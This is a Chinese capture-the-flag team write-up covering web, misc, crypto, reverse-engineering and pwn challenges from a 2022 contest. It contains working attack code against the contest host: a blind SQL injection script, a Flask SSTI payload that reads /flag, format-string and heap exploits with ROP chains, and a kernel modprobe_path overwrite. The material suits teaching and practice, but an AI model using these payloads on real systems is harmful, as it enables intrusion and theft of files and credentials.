本周三(2022/6/8)我们队伍(中国矿业大学 02 队 )代表中国矿业大学参加了 2021一带一路暨金砖大赛之企业信息系统安全赛项
的决赛,也顺利地以 1700/2000 分拿到了 CTF 的第一名。
比赛中我们一同解出了 Crypto,Re,Pwn 方向的所有 赛题,赛后认真对解题思路做了整理,对剩余未解出的少部分赛题也做了复现总结:
# Web
感觉题目都是常见的简单知识点,没什么太难的地方,唯一的难点就是有点谜语人,一堆登录框,没任何提示,就是要一顿乱莽
# web1
http://101.133.134.12:8001/
一个界面就一直点气球,游戏结束也没见往外发包,就直接看 js 文件,找到存放 flag 的 php
访问 flag.php 会跳转到 404,F12 监控一下流量就行
flag:88E3773E766EE1FFD98F3FEBE7D876DB
# web2
http://101.133.134.12:8002/
SQL 注入,过滤空格和 for,union, ,
,for, 空格,* 等关键字,最关键的是查表,information 没法用了,找个替代表即可
最后构建出合适的 payload 语句进行时间盲注
1 1 '^(select(sleep(1))from(mysql.user)where((select({columns})from({table})where({limit}))<' xxx'))^'
写个脚本获得密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import requestsimport requestsimport timedef getDatabase (flag="" ): global baseurl,sql flag="" for i in range (1 , 1000 ): low = 32 high = 128 mid = (low + high) // 2 while low < high: print (mid,chr (mid)) usesql="1'^(select(sleep(1))from(mysql.user)where(%s))^'" %sql.\ replace("flag" ,flag+chr (mid)) start_time=time.time() res = requests.post( baseurl +"login.php" , data={"uname" :usesql, "passwd" :"1" } ) use_time=time.time()-start_time if use_time > 1 : high = mid else : low = mid + 1 mid = (low + high) // 2 if mid <= 32 or mid >= 127 : break flag += chr (mid - 1 ) print (i,"flag is -> " + flag) columns="group_concat(passwd)" table="testx.admin" limit="'U'<'z'" sql=f"(select({columns} )from({table} )where({limit} ))<'flag'" baseurl="http://101.133.134.12:8002/" getDatabase("" )
获得密码的 md5 值,到 md5 解密网站 可知时 5555666
直接登录 admin:5555666
获得 flag
flag
# web3(未解出)
http://101.133.134.12:8003/
谜语了可以说是,弄了半天坐大牢不知道干什么,赛后看师傅们说还是 SQL,蚌埠住了,万万没想到会出两道 SQL
# web4
http://101.133.134.12:8004/
扫一下可以看到源码备份的 index.php.bak, 得到下面源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php header ("Content-type:text/html;charset=utf-8" );error_reporting (0 );$key ='flag{xxx}' ;if (isset ($_GET ['name' ]) and isset ($_GET ['pwd' ])) { if ($_GET ['name' ] == $_GET ['pwd' ]){ echo '<p>姓名与密码不能一致!</p>' ; }elseif (is_numeric ($_GET ['pwd' ])){ die ('密码不能是纯数字' ); }elseif (md5 ($_GET ['name' ]) == md5 ($_GET ['pwd' ])){ die ($key );} else { echo '<p>无效密码</p>' ;} } else { echo '<p>首次登陆!</p>' ; } ?>
需要账号密码的值不能相等,也不能为纯数字,但是最后 md5 值相等
经典的 md5 绕过问题,这个可以用 md5 强碰撞也可以用数组使得 md5 函数出错返回 False
这里我选择直接用数组绕过使得 md5 函数出错返回 False 即可绕过获取 flag
?name[]=1&pwd[]=1
得到 flag:
FDA095FC516DA9AE2A15AB135BFF8C80
# web5
http://101.133.134.12:8005/
控制面板显示是个 tabib 框架,但是上网找相关漏洞没有任何发现,网站的页面到处点也没发现可利用点,文件上传和新建数据什么的实际上不会发包执行,但是在日历版块有异常,访问会返回下面这句话但是
猜测问题是出在这里,但是不知道漏洞点在哪里,最后开了个扫描发现一个 console 接口,进去发现是一个 Flask 后台,想到计算 Pin 码但是并不可行,最后发现在日历接口有 SSTI, 使用 SSTI 获取 /flag
通过内置模块获取 open 函数打开 /flag 并通过 read 得到文件内容
1 {{''.__class__.__mro__[-1].__subclasses__()[64].__init__.__globals__.__builtins__.open('/flag','r').read() }}
变化一下就是
1 http://101.133.134.12:8005/{{''[request.values.c][request.values.m][-1][request.values.s]()[64][request.values.i][request.values.g][request.values.b][request.values.o](request.values.file,'r')[request.values.r]() }}&c=__class__&m=__mro__&s=__subclasses__&i=__init__&g=__globals__&b=__builtins__&o=open&r=read&file=/flag
# web6
http://101.133.134.12:8006/
再次陷入谜语人状态,这个最后还是没出来,不过水群看到说是摁爆破 (原本想过爆破的,不过前两天刚把垃圾字典删了就没爆...),最后 password 和 hash 为 admin@123 的对应值的时候就会得到存 flag 的文件 gettf1ag.php, 访问就有 flag
# Misc
# misc1
给的文件后缀名是 .bat,010 打开发现,实际上应该是个 ppt(有很明显的 PowerPoint 字符),
更改后缀名为 ppt 之后,wps 打开,发现需要密码。
在用 notepad 查看的时候,翻阅过程中突然看到提示:密码为 4 位纯数字
使用脚本生成字典后直接爆破:
1 2 3 4 5 6 7 8 9 import itertools as itswords = "1234568790" r =its.product(words,repeat=4 ) dic = open ("pass1.txt" ,"a" ) for i in r: dic.write("" .join(i)) dic.write("" .join("\n" )) dic.close()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import osimport sysimport win32com.clientimport pywintypespassw=[] dic = open ("pass1.txt" ,"r" ) data=dic.readline().strip('\n' ); while data: passw.append(data); data=dic.readline().strip('\n' ); dic.close(); wps1=win32com.client.Dispatch('Kwps.application' ) wps1.Visible=True wps1.DisplayAlerts = 0 for i in passw: try : d=wps1.Documents.Open(r'C:\Users\Sycamore\Desktop\CTF\flag去哪了.ppt' ,PasswordDocument=i); except pywintypes.com_error: print (i) continue print ("succcccceesss" +i) break ;
# misc2
binwalk 分离,得到了很多文件,依次打开,查看文件内容,
其中一个文件:3BD12,
打开后获得一串 base64:
两次 base64 解码后,就能得到 flag
# misc3
打开听了一下,感觉像 SSTV(今年 Misc 考这个的还真不少...),
安卓端使用 robot36 解码,
获得图片如下:
# misc4
010 打开后文件末尾看到提示为:lsb
stegsolve 打开后查看通道,发现 R G B 的 0 通道都有异常,
提取数据得到一张 jfif 图片如下,
010 打开新图片,发现文件中间的 base64,解码得到 flag
# CRYPTO
# Crypto1
观察其结构为 base 系列加密
base64 解密后得到密文 K5WTCNDBIZXXUZCHGFHWC22VO5LVO4CDMFCTCNSVKRHGCUSHJV5FI22SJNQUM4CIKJKFET2SGFVXUV2WMRHGKVTMLBJVIQSOMFVVK6CUGBTXOUCRHU6Q====,base64 最多有两个 = 号并且其全为大写,故是 base32 编码,之后又经过两层 base64 解码。
1 2 3 4 5 6 7 8 9 10 import base64c='SzVXVENOREJJWlhYVVpDSEdGSFdDMjJWTzVMVk80Q0RNRkNUQ05TVktSSEdDVVNISlY1RkkyMlNKTlFVTTRDSUtKS0ZFVDJTR0ZWWFVWMldNUkhHS1ZUTUxCSlZJUVNPTUZWVks2Q1VHQlRYT1VDUkhVNlE9PT09' print (base64.b64decode(c))c1='K5WTCNDBIZXXUZCHGFHWC22VO5LVO4CDMFCTCNSVKRHGCUSHJV5FI22SJNQUM4CIKJKFET2SGFVXUV2WMRHGKVTMLBJVIQSOMFVVK6CUGBTXOUCRHU6Q====' print (base64.b32decode(c1))c2='Wm14aFozdG1OakUwWWpCaE16UTNaRGMzTkRKaFpHRTROR1kzWVdNeVlXSTBNakUxT0gwPQ==' print (base64.b64decode(c2))c3='ZmxhZ3tmNjE0YjBhMzQ3ZDc3NDJhZGE4NGY3YWMyYWI0MjE1OH0=' print (base64.b64decode(c3))
# Crypto2
首先题目提示凯撒加密,但是其中有 +、(、? 等特殊字符,尝试 26 以内的偏移,或和 flag {和 Zmxh (flag 的 base64 编码) 算移位没有发现规律。
尝试在 0-128 内唯一,打印其中可显示的明文字符串。
1 2 3 4 5 6 7 8 s=b'Nd(+X=fqZqEEM<bpKegNYMg?NdkEDcAkKLIaEL(LHdcFM\'c*Nc[QEMchP*gFM=c-NM^n' for i in range (128 ): m=[] for j in range (len (s)): m.append((s[j]-i)%128 ) print ('shfit: %d' %i,bytes (m).decode())
打印结果如下
在 shfit 的偏移为 119 时发现一个可疑的明文信息,尝试 base64 解密。
发现两次解密后即为 flag,完整代码如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 import base64s=b'Nd(+X=fqZqEEM<bpKegNYMg?NdkEDcAkKLIaEL(LHdcFM\'c*Nc[QEMchP*gFM=c-NM^n' """ for i in range(128): m=[] for j in range(len(s)): m.append((s[j]-i)%128) print('shfit: %d'%i,bytes(m).decode()) """ print (base64.b64decode('Wm14aFozczNNVEkyTnpWbVpHWmtNMlJtTURjNU1UQmlOV0l3WldZNVlqY3pOVFl6WVgw' ))print (base64.b64decode('ZmxhZ3s3MTI2NzVmZGZkM2RmMDc5MTBiNWIwZWY5YjczNTYzYX0=' ))m='flag{712675fdfd3df07910b5b0ef9b73563a}'
# Crypto3
RSA 公钥加密,题目附件中包括 c、n、e,但是 e 比较小且是偶数,故考察方向为 e 和 phin 不互素,尝试用 yafu 分解 n。
等待一段时间后 n 被成功分解,如下图。
得到 p 和 q 后就可以求私钥,但是 (e,phi)=4, 故无逆元,那么根据 m^e mod n 可以变为 (m4) (e/4) 这样 e/4 和 phi 便互素,但是这样 c^d mod n 后得到的为 m^4 mod n,直接用 iroot 尝试开 4 次方,最后转为字符即发现 flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 import gmpy2from Crypto.Util.number import *n = 22418636922065508104264650472638100390507346675022700253583060418349386472260539292033574216754214047540225287240029292436219548116787251605020424767984000804727346173028308816952737183433110999995264950414364145519999339949396799207404153148796900954086093431917244453864253649011176295266497073733547832171165497506613139960587280135867463235266546869960044777350378595302570142110464582590415694749192915651700844268466357439219626769665355230647219887042871785185100743750953935872489085346311527806979246650668966304323450610041756764667276881295676841136337294903126776228640645138477063815764467811948872156311 e = 180 c = 17971123746814947059314270113966290245749007752378241906733564181493060407114219968936077930494933520528427074831694818994710527963410153282657079091353179846750982127804195747725871635911272654572811618799762595633801414107052800867035212498914627567940429340162711284873714117628807667324064684965941290688518710890089086623981356782977499005308798890348799101436318386502089586589964942282091818134339082321114129830959264557408611168516265190076744300272908807347811446203373025446057616713876047942653095947804696077860211107853183353180163392501353685418796451123620066941329424857070023018877454625734091037559 p=149728544112555599590936673615696271318636529352637830106348687941183054498250042553549708433208468004536400117026086238076264785396396599290721801532887662723160698502186620809003309343021490868380464762486274154096814166441270611631342173101926176645742035350917214925625954628200341278782929951624259583527 q=149728544112555599590936673615696271318636529352637830106348687941183054498250042553549708433208468004536400117026086238076264785396396599290721801532887662723160698502186620809003309343021490868380464762486274154096814166441270611631342173101926176645742035350917214925625954628200341278782929951624259582993 phi=(p-1 )*(q-1 ) e=e//gmpy2.gcd(e,phi) d=gmpy2.invert(e,phi) m4=pow (c,d,n) print (long_to_bytes(gmpy2.iroot(m4,4 )[0 ]))
# Crypto4
拿到附件发现是自己实现的 ADFGVX 加密,key 已知是 ph0qg64mea1yl2nofdxkr3cvs5zw7bj9uti8,但是 keyword 未知。
1 2 3 4 5 6 7 def getKeyword (x ): key = '' .join([choice('abcdefghijklmnopqrstuvwxyz' ) for i in range (x)]) for i in key: if key.count(i)!=1 : return getKeyword(x) return key keyword = getKeyword(7 )
根据关键字的生成算法可知是在字母表中选取 7 个不同的字符,如果要爆破则有 26*25*24*23*22*21*20=3315312000 组合,在比赛时间内应该不行,故要根据 ADFGVX 原理来解决该题。
百度得知加密步骤如下。
上图是 5X5 的 ADFGX 而本题是 ADFGVX 是前者的进阶版本,所以 key 是 6x6 的矩阵,并且置换之后通过 key 来进行移位加密。
得知原理后继续看脚本
1 2 3 4 def encipher_char (self, ch, size=6 , chars='ADFGVX' ): row = (int )(self.key.index(ch)/size) col = (self.key.index(ch) % size) return chars[row] + chars[col]
所以我们打印出表格如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 k='ph0qg64mea1yl2nofdxkr3cvs5zw7bj9uti8' for i in range (0 ,len (k),6 ): for j in range (6 ): print (k[i+j].upper(),end=' ' ) print () """ A D F G V X A P H 0 Q G 6 D 4 M E A 1 Y F L 2 N O F D G X K R 3 C V V S 5 Z W 7 B X J 9 U T I 8 """
但是直接解密是错的的并没有体现到 key 的作用,观察源码,发现 key 有处理。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 step1 = self.encipher_string(string) step2 = self.encipher_sortind(step1) def sortind (word ): t1 = [(word[i], i) for i in range (len (word))] t2 = [(k[1 ], i) for i, k in enumerate (sorted (t1))] return [q[1 ] for q in sorted (t2)] def encipher_sortind (self,string ): string = self.remove_punctuation(string) ret = '' ind = self.sortind(self.keyword) for i in range (len (self.keyword)): ret += string[ind.index(i)::len (self.keyword)] return ret
可以手动测试
这样的话这个 ind 可以被爆破,因为 keyword 长度为 7 那么 ind 的排序为 7*6*5*4*3*2 = 5040 种可能,并且其中移位置换后解密不能出现数字或相同字母,爆破即可,解密脚本如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pycipher import ADFGVXfrom itertools import permutationsdef decipher_pair (pair, key='ph0qg64mea1yl2nofdxkr3cvs5zw7bj9uti8' , size=6 , chars='ADFGVX' ): row = chars.index(pair[0 ]) col = chars.index(pair[1 ]) return key[row * size + col] def decipher_str (string ): ret = '' for i in range (0 , len (string), 2 ): ret += decipher_pair(string[i:i + 2 ]) return ret def check (s ): num_lst = ['AF' , 'AX' , 'DA' , 'DV' , 'FD' , 'GG' , 'VD' , 'VV' , 'XD' , 'XX' ] all = [] for i in range (7 ): t = s[i * 2 ] + s[i * 2 + 1 ] if (t in num_lst): return False if (t in all ): return False all .append(t) return True kenc = 'XAGDFGVGXXXGAX' flag = 'DXVGGVGGVGVFXAFVFXFFXFVFFFVFDVVGADGVAVGDAAVXGDGXGXDFVFDAVADAXAAFFVFXXGVX' r1 = [kenc[i] for i in range (0 , len (kenc), 2 )] r2 = [kenc[i] for i in range (1 , len (kenc), 2 )] all_list = list (permutations([0 , 1 , 2 , 3 , 4 , 5 , 6 ], 7 )) for it in all_list: c = [r1[i] for i in it] + [r2[i] for i in it] d = '' .join(c) if check(c): kd = decipher_str(d) enc = ADFGVX('ph0qg64mea1yl2nofdxkr3cvs5zw7bj9uti8' , kd) ed = enc.encipher(kd) if ed == kenc: print (kd,it) print (enc.decipher(flag).lower())
ADFGVX 参考链接:
https://blog.csdn.net/euzen/article/details/119085350
# RE
# RE1
GO 语言逆向题,flag 直接和输入比对,可以在 main_mian 函数的窗口看到 flag,或 string+F12 搜索 flag 即可。
flag
# RE2
首先 shfit+F12 在 strings 窗口看到有关 flag 的明文字符,交叉引用定位 check 函数。
可见被去了符号,可以根据明文信息判断 printf 等系统函数或者结合 IDA 自带的 Lumina 恢复符号 (不过效果不是很明显)。
根据反编译代码结构大致猜测是对输入明文进行了异或处理 (或其他更多操作),可以结合调试来判断,构造输入为 flag {aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}。
V5 首先指向输入附近,继续单步发现 v9 指向输入字符串的首部指针,V10 指向尾部指针。
之后通过首位指针来让整个字符串异或 7,并保存 v6 的结构体内 (v6 应该是个结构体,其地址处的第二个指针指向加密后的结果)。最终将加密结果与 & unk_7FF6EFEE78D0 指向的结构体中的密文比对。
密文在其指向地址的第二个指针。
综上,提取出密文异或即可。
1 2 3 4 5 s=[0x61 , 0x6B , 0x66 , 0x60 , 0x7C , 0x31 , 0x3F , 0x37 , 0x37 , 0x65 , 0x35 , 0x66 , 0x31 , 0x3F , 0x36 , 0x64 , 0x3E , 0x3E , 0x62 , 0x65 , 0x33 , 0x36 , 0x30 , 0x3F , 0x37 , 0x65 , 0x30 , 0x65 , 0x35 , 0x3E , 0x33 , 0x66 , 0x64 , 0x32 , 0x36 , 0x34 , 0x3E , 0x7A ] for i in range (len (s)): s[i]^=7 print (bytes (s))
# RE3
拖入 IDA,观察 main 函数逻辑。
首先是输入 32 位数据存入 buffer,之后无论如何都会进入 LABLE_5 并且将输入 2 个一组作为 16 进制数据存入 v21,并且计算出总字节数的长度 len,对 len 进行 >>3,也就是 8 个一组。
之后 8 个一组内进行上述加密,根据其结构可以判断出是魔改的 Tea 加密,还原算法如下。
根据补码运算 v12-0x61c88647 可以看成 v12+0x100000000-0x61c88647 等价于 v12 + 0x9e3779b9。
1 2 3 4 5 6 7 8 9 10 11 12 void Tea_Encrypt (ut32* src, ut32* k) { ut32 sum = 0 ; ut32 v0 = src[0 ]; ut32 v1 = src[1 ]; for (int i = 0 ; i < 0x20 ; i++) { sum += 0x9e3779b9 ; v0 += ((v1 << 3 ) + k[0 ]) ^ (v1 + sum) ^ ((v1 >> 5 ) + k[1 ]); v1 += ((v0 << 3 ) + k[2 ]) ^ (v0 + sum) ^ ((v0 >> 5 ) + k[3 ]); } src[0 ] = v0; src[1 ] = v1; }
魔改点再模数 v1 和 v0 左移三位,并且 key 是 {18,52,86,120},结合上述条件写出求逆脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 #include <iostream> #define ut32 unsigned int #define delta 0x9E3779B9 void Tea_Decrypt (ut32* enc, ut32* k) { ut32 sum = delta * 0x20 ; ut32 v0 = enc[0 ]; ut32 v1 = enc[1 ]; for (int i = 0 ; i < 0x20 ; i++) { v1 -= ((v0 << 3 ) + k[2 ]) ^ (v0 + sum) ^ ((v0 >> 5 ) + k[3 ]); v0 -= ((v1 << 3 ) + k[0 ]) ^ (v1 + sum) ^ ((v1 >> 5 ) + k[1 ]); sum -= delta; } enc[0 ] = v0; enc[1 ] = v1; } int main () { ut32 m[4 ] = { 0x6278CC2F ,0x65FE5089 ,0x2B581C7C ,0x4E60BA90 }; ut32 k[4 ] = { 18 ,52 ,86 ,120 }; for (int i = 0 ; i < 4 ; i += 2 ) { Tea_Decrypt(m+i, k); } for (int i = 0 ; i < 16 ; i++) { printf ("%02x" , *((unsigned char *)m + i)); } return 0 ; }
# PWN
# pmagic
以下是俩个格式化字符串漏洞的位置。
第一次运行:
利用格式化字符串 leak 出 libc 基址。
利用格式化字符串漏洞同时覆写 printf 的 got 表为 system,同时覆写 _fini_array 为 0x400640 使再次运行。本题有个更简便的方法就是覆写 exit 的 hook 为 one_gadget,大家也可以尝试。
第二次运行:
由于只能读入五个字符,直接 cat *
拿 flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 import reimport osfrom pwn import *from LibcSearcher import *se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4 , '\0' )) uu64 = lambda data :u64(data.ljust(8 , '\0' )) lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data) def debug (breakpoint ='' ): glibc_dir = '~/Exps/Glibc/glibc-2.27/' gdbscript = 'directory %smalloc/\n' % glibc_dir gdbscript += 'directory %sstdio-common/\n' % glibc_dir gdbscript += 'directory %sstdlib/\n' % glibc_dir gdbscript += 'directory %slibio/\n' % glibc_dir elf_base = int (os.popen('pmap {}| awk \x27{{print \x241}}\x27' .format (p.pid)).readlines()[1 ], 16 ) if elf.pie else 0 gdbscript += 'b *{:#x}\n' .format (int (breakpoint ) + elf_base) if isinstance (breakpoint , int ) else breakpoint gdb.attach(p, gdbscript) time.sleep(1 ) elf = ELF('./pmagic' ) context(arch = elf.arch, os = 'linux' ,log_level = 'debug' ,terminal = ['tmux' , 'splitw' , '-hp' ,'62' ]) p = process('./pmagic' ) p = remote('101.133.134.12' ,10000 ) sea('Give me your name.\n' ,'%15$p' ) libc_leak = int (rc(14 ),16 ) libc_base = libc_leak - 0x5f1718 lg('libc_leak' ,libc_leak) lg('libc_base' ,libc_base) libc = elf.libc libc.address = libc_base system_addr = libc.sym.system bin_sh = libc.search('/bin/sh' ).next () og = ''' ❯ one_gadget libc-2.23.so -l2 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xcd0f3 execve("/bin/sh", rcx, r12) constraints: [rcx] == NULL || rcx == NULL [r12] == NULL || r12 == NULL 0xcd1c8 execve("/bin/sh", rax, r12) constraints: [rax] == NULL || rax == NULL [r12] == NULL || r12 == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf02b0 execve("/bin/sh", rsi, [rax]) constraints: [rsi] == NULL || rsi == NULL [[rax]] == NULL || [rax] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL 0xf66f0 execve("/bin/sh", rcx, [rbp-0xf8]) constraints: [rcx] == NULL || rcx == NULL [[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL ''' ones = [libc_base + int (i,16 ) for i in re.findall(r'\n(.+?) execve' ,og)] sea('Say something.\n' ,(fmtstr_payload(8 ,{(elf.got['printf' ]):system_addr,(0x600A78 ):0x400640 })).ljust(0x100 ,'\0' )) p.interactive()
# orw_h2
libc 2.31 下的经典菜单堆题。
漏洞很简单,free 掉堆块的时候没有清空指针,是一个很直接的 UAF :
思路:
基本堆布局,利用 Largebin 残留指针 leak 出 libc 基址和堆基址。
利用 Tcache Poisoning 构造一次任意分配堆块到 __free_hook 写 rdx,QWORD PTR [rdi+0x8];mov QWORD PTR [rsp],rax;call QWORD PTR [rdx+0x20]
这个 gadget 的地址。
利用写入的 gadget 配合 setcontext 构造栈迁移,改堆块为 rwx 权限,读入 shellcode 执行 shellcode 拿 flag。或者非常确定 flag 的文件名和路径的情况下,拿 orw 链子直接读 flag 也是可以的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 import reimport osfrom pwn import *from LibcSearcher import *se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4 , '\0' )) uu64 = lambda data :u64(data.ljust(8 , '\0' )) lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data) def debug (breakpoint ='' ): glibc_dir = '~/Exps/Glibc/glibc-2.27/' gdbscript = 'directory %smalloc/\n' % glibc_dir gdbscript += 'directory %sstdio-common/\n' % glibc_dir gdbscript += 'directory %sstdlib/\n' % glibc_dir gdbscript += 'directory %slibio/\n' % glibc_dir elf_base = int (os.popen('pmap {}| awk \x27{{print \x241}}\x27' .format (p.pid)).readlines()[1 ], 16 ) if elf.pie else 0 gdbscript += 'b *{:#x}\n' .format (int (breakpoint ) + elf_base) if isinstance (breakpoint , int ) else breakpoint gdb.attach(p, gdbscript) time.sleep(1 ) elf = ELF('./orw_h2' ) context(arch = elf.arch, os = 'linux' ,log_level = 'debug' ,terminal = ['tmux' , 'splitw' , '-hp' ,'62' ]) p = remote('101.133.134.12' ,10001 ) def menu (choice ): sla('>> ' ,str (choice)) def add (size,data='u' ): menu(1 ) sla('Length of game description:' ,str (size)) sea('Game description:' ,str (data)) def dele (id ): menu(2 ) sla('game index: ' ,str (id )) def edit (id ,data ): menu(3 ) sla('game index: ' ,str (id )) sea('Edit Game description:' ,str (data)) def show (id ): menu(4 ) sla('game index: ' ,str (id )) add(0x420 ) add(0x20 ) dele(0 ) show(0 ) libc_leak = uu64(ru('\n' )[-6 :]) libc_base = libc_leak - 0x1ecbe0 lg('libc_leak' ,libc_leak) lg('libc_base' ,libc_base) libc = elf.libc libc.address = libc_base system_addr = libc.sym.system bin_sh = libc.search('/bin/sh' ).next () magic = libc_base + 0x1518b0 rdi = libc_base + 0x0000000000023b72 rsi = libc_base + 0x000000000002604f rdx_r12 = libc_base + 0x0000000000119241 ret = libc_base + 0x0000000000022679 rax = libc_base + 0x0000000000047400 jmp_rsi = libc_base + 0x000000000010d60d read_addr = libc.sym.read ''' 0x0000000000047400 : pop rax ; ret 0x0000000000023b72 : pop rdi ; ret 0x0000000000119241 : pop rdx ; pop r12 ; ret 0x000000000015f7e6 : pop rdx ; pop rbx ; ret 0x00000000001025ad : pop rdx ; pop rcx ; pop rbx ; ret 0x0000000000024920 : pop rsi ; pop r15 ; pop rbp ; ret 0x0000000000023b70 : pop rsi ; pop r15 ; ret 0x000000000002604f : pop rsi ; ret 0x0000000000133fe6 : pop rsi ; ret 0xb 0x000000000002491c : pop rsp ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret 0x0000000000023b6c : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000002604b : pop rsp ; pop r13 ; pop r14 ; ret 0x00000000000ef1c5 : pop rsp ; pop r13 ; pop r15 ; ret 0x00000000000460a5 : pop rsp ; pop r13 ; pop rbp ; ret 0x0000000000025bcc : pop rsp ; pop r13 ; ret 0x000000000008e261 : pop rsp ; pop r14 ; ret 0x000000000012cfae : pop rsp ; pop rbp ; ret 0x000000000002f73a : pop rsp ; ret 0x0000000000099050 : pop rsp ; ret 0xffff 0x0000000000022679 : ret ''' add(0x430 ) edit(0 ,'u' *0x10 ) show(0 ) ru('u' *0x10 ) heap_leak = uu64(rc(6 )) heap_base = heap_leak - 0x290 lg('heap_leak' ,heap_leak) lg('heap_base' ,heap_base) mmp = flat([ rdi,((heap_base + 0xD00 )>>12 )<<12 ,rsi,0x2000 ,rdx_r12,7 ,0 ,libc.sym.mprotect,rdi,0 ,rsi,heap_base + 0xD00 ,rdx_r12,0x1000 ,0 ,read_addr,jmp_rsi ]) edit(0 ,p64(libc_base+0x1ecfd0 )*2 ) add(0x420 ) add(0x20 ) dele(1 ) dele(4 ) edit(4 ,p64(libc.sym.__free_hook)) add(0x20 ) add(0x20 ,p64(magic)) fuck = SigreturnFrame() fuck.rsp = heap_base + 0x700 fuck.rip = ret edit(0 ,p64(0 ) + p64(heap_base + 0x290 +0x10 ) + p64(0 )*2 + p64(libc.sym.setcontext+61 )+str (fuck)[0x28 :]) edit(2 ,mmp) dele(0 ) sl(asm(shellcraft.cat('/flag' ))) p.interactive()
# Kernel
简单的 kernel 题,给了任意地址写。
那么劫持 modprobe_path 为我们自己的恶意 sh 文件路径,复制文件更改权限,就可以读 flag。
用来读 flag 的 exp 源码:
exp.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> size_t path = 0xffffffff81e48240 ;int main (int argc, char ** argv) { int fd1 = open("/dev/chardev0" , 2 ); if (fd1 <0 ) { printf ("\033[31m\033[1m[x] Failed to open the babydev1!\033[0m\n" ); exit (-1 ); } size_t ar[2 ] = {path,0x612f706d742f }; ioctl(fd1,0x80084700 ,ar); system("echo -ne '#!/bin/sh\n/bin/cp /flag /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/a" ); system("chmod +x /tmp/a" ); system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/uuu" ); system("chmod +x /tmp/uuu" ); system("/tmp/uuu" ); system("cat /tmp/flag" ); }
编译脚本:
1 2 musl-gcc exp.c -static -O2 -o exp strip exp
用来上传 exp 的脚本:
cc.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *import time, oscontext.log_level = "debug" p = remote('101.133.134.12' ,10002 ) os.system("tar -czvf exp.tar.gz ./exp" ) os.system("base64 exp.tar.gz > b64_exp" ) f = open ("./b64_exp" , "r" ) p.sendline() p.recvuntil("/ $" ) p.sendline("echo '' > b64_exp;" ) count = 1 while True : print ('now line: ' + str (count)) line = f.readline().replace("\n" ,"" ) if len (line)<=0 : break cmd = b"echo '" + line.encode() + b"' >> b64_exp;" p.sendline(cmd) p.recvuntil("/ $" ) count += 1 f.close() p.sendline("base64 -d b64_exp > exp.tar.gz;" ) p.sendline("tar -xzvf exp.tar.gz" ) p.sendline("chmod +x ./exp;" ) p.sendline("./exp" ) p.interactive()
截图证明顺利的读到 flag 。
# 参考链接
【NOTES.0x03】Linux Kernel Pwn II:Basic Exploit to Kernel Pwn in CTF - arttnba3's blog
Linux Kernel Exploitation Technique: Overwriting modprobe_path - Midas